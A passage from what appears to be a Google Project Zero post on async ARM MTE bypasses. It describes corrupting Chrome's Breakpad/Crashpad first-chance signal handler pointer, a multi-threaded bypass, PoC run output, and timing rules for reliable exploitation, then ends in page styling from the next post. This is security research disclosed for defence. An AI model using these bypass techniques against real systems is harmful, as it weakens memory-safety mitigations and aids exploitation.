<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> fprintf</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">stderr</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c28">"read %zu bytes\nnew_ptr string is %s\n"</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> bytes_read</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> new_ptr</span><span class="LtslleXhTC-c1">);</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">}</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c1">}</span></p></td></tr></table>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c16"></span></p><a id="t.7df0f3089a2e25f6a8fee0ff6724bf10c0a3026b"></a><a id="t.5"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">taro:/ $ /data/local/tmp/software_issue_2 </span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 0 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is AAAAAAAAAAAAAAA</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">read 16 bytes</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">new_ptr string is BBBBBBBBBBBBBBB</span></p></td></tr></table><h3 class="LtslleXhTC-c15 LtslleXhTC-c11" id="h.slz47uww66dv"><span>3. </span><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c33">New dangers in signal handlers [ASYNC].</span></h3>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">Since </span><span class="LtslleXhTC-c32">SIGSEGV</span><span class="LtslleXhTC-c0"> is a catchable signal, any signal handlers that can handle SIGSEGV become a critical attack surface for async MTE bypasses. </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://www.google.com/url?q=https://www.chromium.org/developers/crash-reports/&sa=D&source=docs&ust=1661952947380022&usg=AOvVaw3HyXTOsL3B1fRSnMg9GdO3">Breakpad</a></span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://www.google.com/url?q=https://www.chromium.org/developers/crash-reports/&sa=D&source=docs&ust=1661952947380022&usg=AOvVaw3HyXTOsL3B1fRSnMg9GdO3">/Crashpad</a></span><span class="LtslleXhTC-c0"> at present have a signal handler (ie, installed in all Chrome processes) which allows a trivial same-thread bypass for async MTE as a security protection, which is demonstrated in </span><span class="LtslleXhTC-c32">async_bypass_signal_handler.c</span><span class="LtslleXhTC-c0"> / </span><span class="LtslleXhTC-c32">async_bypass_signal_handler.js</span><span class="LtslleXhTC-c0">.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The concept is simple - if we can corrupt any state that would result in the signal handler concluding that a </span><span class="LtslleXhTC-c32">SIGSEGV</span><span class="LtslleXhTC-c0"> coming from a tag-check failure is handled/safe, then we can effectively disable MTE for the process.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">If we look at the current </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://source.chromium.org/chromium/chromium/src/+/main:third_party/breakpad/breakpad/src/client/linux/handler/exception_handler.cc;l=328">breakpad signal handler</a></span><span class="LtslleXhTC-c0"> (the crashpad signal handler has </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://source.chromium.org/chromium/chromium/src/+/main:third_party/crashpad/crashpad/client/crashpad_client_linux.cc;drc=db6f1567b8caa6dacdd0d46b2a7ac60c5b5ddc82;l=201">the same design</a></span><span class="LtslleXhTC-c0">)</span><span class="LtslleXhTC-c0">:<br></span></p><a id="t.e3ef59fa9395aadf7e4cd9a21e5ddb5a620a10a1"></a><a id="t.6"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10 LtslleXhTC-c18">void</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c38">ExceptionHandler</span><span class="LtslleXhTC-c1">::</span><span class="LtslleXhTC-c10 LtslleXhTC-c38">SignalHandler</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10 LtslleXhTC-c18">int</span><span class="LtslleXhTC-c10"> sig</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> siginfo_t</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> info</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">void</span><span class="LtslleXhTC-c1">*</span><span class="LtslleXhTC-c10"> uc</span><span class="LtslleXhTC-c1">)</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c7"><span class="LtslleXhTC-c4 LtslleXhTC-c12"></span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// Give the first chance handler a chance to recover from this signal</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">//</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// This is primarily used by V8. V8 uses guard regions to guarantee memory</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// safety in WebAssembly. This means some signals might be expected if they</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// originate from Wasm code while accessing the guard region. We give V8 the</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c17">// chance to handle and recover from these signals first.</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">if</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">g_first_chance_handler_ </span><span class="LtslleXhTC-c1">!=</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">nullptr</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">&&</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> g_first_chance_handler_</span><span class="LtslleXhTC-c1">(</span><span class="LtslleXhTC-c10">sig</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> info</span><span class="LtslleXhTC-c1">,</span><span class="LtslleXhTC-c10"> uc</span><span class="LtslleXhTC-c1">))</span><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">{</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c10 LtslleXhTC-c18">return</span><span class="LtslleXhTC-c1">;</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c10"> </span><span class="LtslleXhTC-c1">}</span></p></td></tr></table>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">It's clear that if our exploit could patch </span><span class="LtslleXhTC-c32">g_first_chance_handler_</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> to point to any function that will return a non-zero value, then this will mean that tag-check failures are no longer caught.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The example we've provided in </span><span class="LtslleXhTC-c32"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/async_signal_handler_bypass.c">async_signal_handler_bypass.c</a></span><span class="LtslleXhTC-c0"> and </span><span class="LtslleXhTC-c32"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/async_signal_handler_bypass.js">async_signal_handler_bypass.js</a></span><span class="LtslleXhTC-c0"> demonstrates an exploit using this technique against a simulated bug in the </span><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://duktape.org/">duktape javascript interpreter</a></span><span class="LtslleXhTC-c0">.<br></span></p><a id="t.3f0b748a4c9d28f1917b769bb80a1218715293fb"></a><a id="t.7"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">taro:/data/local/tmp $./async_bypass_signal_handler ./async_bypass_signal_handler.js </span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">offsets: 0x26c068 0x36bc80</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">starting script execution</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">access</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">segv handler 11</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">Async MTE has been bypassed [0.075927734375ms]</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">done</span></p></td></tr></table>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c32 LtslleXhTC-c12 LtslleXhTC-c35"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">It seems hard to imagine designing a signal handler that will be robust against all possible attacks here, as most data that is accessed by the signal handler will now need to be treated as untrusted.</span><span class="LtslleXhTC-c0"> It's our understanding that </span><span class="LtslleXhTC-c0">Android is considering making changes to the way that the kernel handles these failures to guarantee delivery of these errors to an out-of-process handler, preventing this kind of bypass.</span></p><h3 class="LtslleXhTC-c15 LtslleXhTC-c11" id="h.quhrhy4chqpx"><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c33">4. Generic bypass in multi-threaded environments [ASYNC].</span></h3>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">Since async MTE failures are only delivered when the thread which caused the error enters the kernel, there's a slightly more involved (but more generic) bypass available in multi-threaded environments. If we can coerce another thread into performing our next exploit steps for us, then we can bypass the protection this way.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">The example we've provided in </span><span class="LtslleXhTC-c32"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/async_thread_bypass.c">async_thread_bypass.c</a></span><span class="LtslleXhTC-c0"> and </span><span class="LtslleXhTC-c32"><a class="LtslleXhTC-c191" href="https://github.com/googleprojectzero/p0tools/blob/master/MTETest/async_thread_bypass.js">async_thread_bypass.js</a></span><span class="LtslleXhTC-c0"> demonstrates</span><span class="LtslleXhTC-c0"> an exploit using this technique</span><span class="LtslleXhTC-c0"> against a simulated bug in the duktape javascript interpreter.<br></span></p><a id="t.85a34c05a807396d0d2e0b36db36cbe0daa772f2"></a><a id="t.8"></a><table class="LtslleXhTC-c8"><tr class="LtslleXhTC-c3"><td class="LtslleXhTC-c30 LtslleXhTC-c26" colspan="1" rowspan="1">
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">taro:/data/local/tmp $ ./async_bypass_thread ./async_bypass_thread.js </span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">thread is running</span></p>
<p class="LtslleXhTC-c2"><span class="LtslleXhTC-c4 LtslleXhTC-c12">Async MTE bypassed!</span></p></td></tr></table>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c16 LtslleXhTC-c52"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">Note that in practice, the technique here would most likely be to have the coerced thread simply install a new signal handler to effectively reimplement 3. above, but the example invokes a shell command as a demonstration.</span></p><h2 class="LtslleXhTC-c11 LtslleXhTC-c39" id="h.soyoaib239d2"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c24">How wide are these windows?</span></h2>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">So, we've identified two methods by which a compromised thread might avoid the consequences of performing invalid accesses. This was a known and expected limitation of async-MTE-as-a-security-mitigation — but how significant is this? </span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">In the existing (linux) kernel implementation, an outstanding async-MTE failure is delivered as a SIGSEGV when the thread that performed the faulting access transitions to kernel mode. This means that the user-to-kernel transition can be thought of as a synchronisation barrier for tag-check failures. <br><br>This leads us to our first rule for async-MTE-safe exploitation:</span></p><ol class="c14 lst-kix_21mujycf9tm5-0 start" start="1"><li style="margin-left: 46pt;" class="c2 c11 c22 li-bullet-0"><span class="LtslleXhTC-c12 LtslleXhTC-c29 LtslleXhTC-c16">We need to complete our exploit (or disable async-MTE) without needing to make a system call from the faulting thread.</span></li></ol>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">This will already pose a significant limitation in some contexts - for example, many network services will have a `read/write` loop in between commands, so this would mean that the exploit must be completed within the execution of a single command. However, for many other contexts, this is less of an issue - a vulnerability in a complex file format parser, decompression algorithm or scripting engine will likely provide sufficient control between system calls to complete an exploit (as demonstrated above with the </span><span class="LtslleXhTC-c0">duktape javascript engine</span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">).</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c0">There is then a second requirement that the exploit-writer needs to bear in mind, which is the periodic timer interrupt. In the kernel configuration tested, this was set to `CONFIG_HZ_250`, so we can expect a timer interrupt every 4ms, leading us to our second rule</span><span class="LtslleXhTC-c23 LtslleXhTC-c0 LtslleXhTC-c36"><a class="LtslleXhTC-c19" href="#h.vc7otbihpy9e">3</a></span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">:</span></p><ol class="c14 lst-kix_21mujycf9tm5-0" start="2"><li style="margin-left: 46pt;" class="c2 c11 c22 li-bullet-0"><span class="LtslleXhTC-c29">We need to complete our exploit in ~0.2 ms </span><span class="LtslleXhTC-c29">if</span><span class="LtslleXhTC-c29"> we want to get acceptable (</span><span class="LtslleXhTC-c29">95%</span><span class="LtslleXhTC-c23 LtslleXhTC-c29 LtslleXhTC-c36"><a class="LtslleXhTC-c19" href="#h.uu3o4hva4l1j">4</a></span><span class="LtslleXhTC-c29">) reliability. </span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16">(+0.01ms exploit runtime => -0.25% reliability)</span></li></ol>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11"><span class="LtslleXhTC-c23 LtslleXhTC-c0"><a class="LtslleXhTC-c191" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">Part 2</a></span><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"> continues with a higher-level analysis of the effectiveness of various different MTE configurations in a variety of user-space application contexts, and what type of impact we'd expect to see on attacker cost.</span></p>
<p class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c7"><span class="LtslleXhTC-c12 LtslleXhTC-c0 LtslleXhTC-c16"></span></p><h4 class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c43" id="h.d43f6ia2nolp"><span>[1] </span><span>It is known/expected that Spectre-type attacks are possible to leak pointer values from memory</span><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c27">.</span></h4><h4 class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c43" id="h.8v9sdwwdtqt"><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c27">[2] ARM indicated that this should not be the case (this potential weakness was raised with them early in the MTE design process). </span></h4><h4 class="LtslleXhTC-c2 LtslleXhTC-c11 LtslleXhTC-c43" id="h.vc7otbihpy9e"><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c27">[3] This assumes that the attacker can't construct a side-channel allowing them to determine when a timer interrupt has happened in the target process, which seems like a reasonable assumption in a remote media-parsing scenario, but less so in the context of a local privilege elevation.</span></h4><h4 class="LtslleXhTC-c9 LtslleXhTC-c11 LtslleXhTC-c43" id="h.uu3o4hva4l1j"><span>[4] 95% is a rough estimate - </span><span class="LtslleXhTC-c23"><a class="LtslleXhTC-c191" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">part 2</a></span><span class="LtslleXhTC-c12 LtslleXhTC-c20 LtslleXhTC-c27"> discusses the reasoning here in more detail; but note that we would consider this a rough reference point for what attackers will likely work towards, and not a hard limit.</span></h4>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-12846413130677350902023-08-02T09:30:00.004-07:002023-08-03T08:40:02.690-07:00MTE As Implemented, Part 3: The Kernel<style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=4mNYFHt_IKFsPe52toizH6nwuZUPj2AFYBEz-aMyENVctA_KpTDBIb9wIwVqFCm-);.lst-kix_46kwnuz47r-3>li{counter-increment:lst-ctn-kix_46kwnuz47r-3}ol.lst-kix_46kwnuz47r-1.start{counter-reset:lst-ctn-kix_46kwnuz47r-1 0}.lst-kix_8lngbvh6wilc-4>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-4}ol.lst-kix_46kwnuz47r-0{list-style-type:none}ol.lst-kix_46kwnuz47r-2{list-style-type:none}.lst-kix_46kwnuz47r-2>li{counter-increment:lst-ctn-kix_46kwnuz47r-2}.lst-kix_8lngbvh6wilc-5>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-5}ol.lst-kix_cp4qttrp12lb-6.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-6 0}ol.lst-kix_46kwnuz47r-1{list-style-type:none}ol.lst-kix_46kwnuz47r-4{list-style-type:none}ol.lst-kix_46kwnuz47r-3{list-style-type:none}ol.lst-kix_8lngbvh6wilc-8.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-8 0}.lst-kix_cp4qttrp12lb-5>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-5}ol.lst-kix_46kwnuz47r-6{list-style-type:none}ol.lst-kix_46kwnuz47r-5{list-style-type:none}ol.lst-kix_46kwnuz47r-8{list-style-type:none}ol.lst-kix_46kwnuz47r-7{list-style-type:none}ol.lst-kix_cp4qttrp12lb-3.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-3 0}ol.lst-kix_46kwnuz47r-4.start{counter-reset:lst-ctn-kix_46kwnuz47r-4 0}.lst-kix_8lngbvh6wilc-3>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-3}.lst-kix_cp4qttrp12lb-6>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-6}.lst-kix_8lngbvh6wilc-6>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-6}.lst-kix_4xvzm1t3t8ep-0>li:before{content:"- "}.lst-kix_46kwnuz47r-4>li{counter-increment:lst-ctn-kix_46kwnuz47r-4}.lst-kix_46kwnuz47r-1>li{counter-increment:lst-ctn-kix_46kwnuz47r-1}ol.lst-kix_cp4qttrp12lb-0.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-0 0}ol.lst-kix_8lngbvh6wilc-0.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-0 0}.lst-kix_cp4qttrp12lb-3>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-3}.lst-kix_4xvzm1t3t8ep-6>li:before{content:"- "}.lst-kix_4xvzm1t3t8ep-5>li:before{content:"- "}.lst-kix_4xvzm1t3t8ep-4>li:before{content:"- "}.lst-kix_4xvzm1t3t8ep-1>li:before{content:"- "}.lst-kix_4xvzm1t3t8ep-3>li:before{content:"- "}.lst-kix_4xvzm1t3t8ep-2>li:before{content:"- "}ol.lst-kix_cp4qttrp12lb-0{list-style-type:none}ol.lst-kix_cp4qttrp12lb-1{list-style-type:none}.lst-kix_8lngbvh6wilc-0>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-0,decimal) ". "}ol.lst-kix_cp4qttrp12lb-2{list-style-type:none}ol.lst-kix_cp4qttrp12lb-3{list-style-type:none}.lst-kix_46kwnuz47r-6>li{counter-increment:lst-ctn-kix_46kwnuz47r-6}.lst-kix_8lngbvh6wilc-1>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-1,lower-latin) ". "}ol.lst-kix_cp4qttrp12lb-4{list-style-type:none}ol.lst-kix_8lngbvh6wilc-6.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-6 0}ol.lst-kix_cp4qttrp12lb-5{list-style-type:none}ol.lst-kix_cp4qttrp12lb-6{list-style-type:none}ol.lst-kix_cp4qttrp12lb-8.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-8 0}ol.lst-kix_cp4qttrp12lb-7{list-style-type:none}.lst-kix_8lngbvh6wilc-7>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-7}ol.lst-kix_cp4qttrp12lb-1.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-1 0}.lst-kix_8lngbvh6wilc-7>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-7,lower-latin) ". "}.lst-kix_8lngbvh6wilc-6>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-6,decimal) ". "}ul.lst-kix_4xvzm1t3t8ep-8{list-style-type:none}.lst-kix_4xvzm1t3t8ep-7>li:before{content:"- "}ul.lst-kix_4xvzm1t3t8ep-7{list-style-type:none}.lst-kix_8lngbvh6wilc-1>li{counter-increment:lst-ctn-kix_8lngbvh6wilc-1}.lst-kix_8lngbvh6wilc-5>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-5,lower-roman) ". "}.lst-kix_4xvzm1t3t8ep-8>li:before{content:"- "}.lst-kix_8lngbvh6wilc-3>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-3,decimal) ". "}.lst-kix_8lngbvh6wilc-2>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-2,lower-roman) ". "}.lst-kix_8lngbvh6wilc-4>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-4,lower-latin) ". "}ol.lst-kix_cp4qttrp12lb-2.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-2 0}.lst-kix_46kwnuz47r-6>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-6,decimal) ". "}.lst-kix_46kwnuz47r-7>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-7,lower-latin) ". "}.lst-kix_46kwnuz47r-8>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-8,lower-roman) ". "}ol.lst-kix_8lngbvh6wilc-5.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-5 0}.lst-kix_8lngbvh6wilc-8>li:before{content:"" counter(lst-ctn-kix_8lngbvh6wilc-8,lower-roman) ". "}.lst-kix_cp4qttrp12lb-1>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-1}ol.lst-kix_cp4qttrp12lb-8{list-style-type:none}ol.lst-kix_46kwnuz47r-3.start{counter-reset:lst-ctn-kix_46kwnuz47r-3 0}.lst-kix_cp4qttrp12lb-4>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-4}.lst-kix_46kwnuz47r-0>li{counter-increment:lst-ctn-kix_46kwnuz47r-0}.lst-kix_cp4qttrp12lb-7>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-7}ol.lst-kix_46kwnuz47r-8.start{counter-reset:lst-ctn-kix_46kwnuz47r-8 0}ol.lst-kix_8lngbvh6wilc-1.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-1 0}ol.lst-kix_8lngbvh6wilc-4.start{counter-reset:lst-ctn-kix_8lngbvh6wilc-4 0}.lst-kix_46kwnuz47r-8>li{counter-increment:lst-ctn-kix_46kwnuz47r-8}.lst-kix_46kwnuz47r-5>li:before{content:"(" counter(lst-ctn-kix_46kwnuz47r-5,lower-roman) ") "}.lst-kix_46kwnuz47r-4>li:before{content:"(" counter(lst-ctn-kix_46kwnuz47r-4,lower-latin) ") "}.lst-kix_46kwnuz47r-2>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-2,lower-roman) ") "}.lst-kix_cp4qttrp12lb-0>li{counter-increment:lst-ctn-kix_cp4qttrp12lb-0}.lst-kix_46kwnuz47r-1>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-1,lower-latin) ") "}.lst-kix_46kwnuz47r-3>li:before{content:"(" counter(lst-ctn-kix_46kwnuz47r-3,decimal) ") "}ol.lst-kix_46kwnuz47r-2.start{counter-reset:lst-ctn-kix_46kwnuz47r-2 0}ul.lst-kix_4xvzm1t3t8ep-2{list-style-type:none}ol.lst-kix_cp4qttrp12lb-4.start{counter-reset:lst-ctn-kix_cp4qttrp12lb-4 0}ul.lst-kix_4xvzm1t3t8ep-1{list-style-type:none}.lst-kix_46kwnuz47r-7>li{counter-increment:lst-ctn-kix_46kwnuz47r-7}ul.lst-kix_4xvzm1t3t8ep-0{list-style-type:none}.lst-kix_46kwnuz47r-0>li:before{content:"" counter(lst-ctn-kix_46kwnuz47r-0,decimal) ") 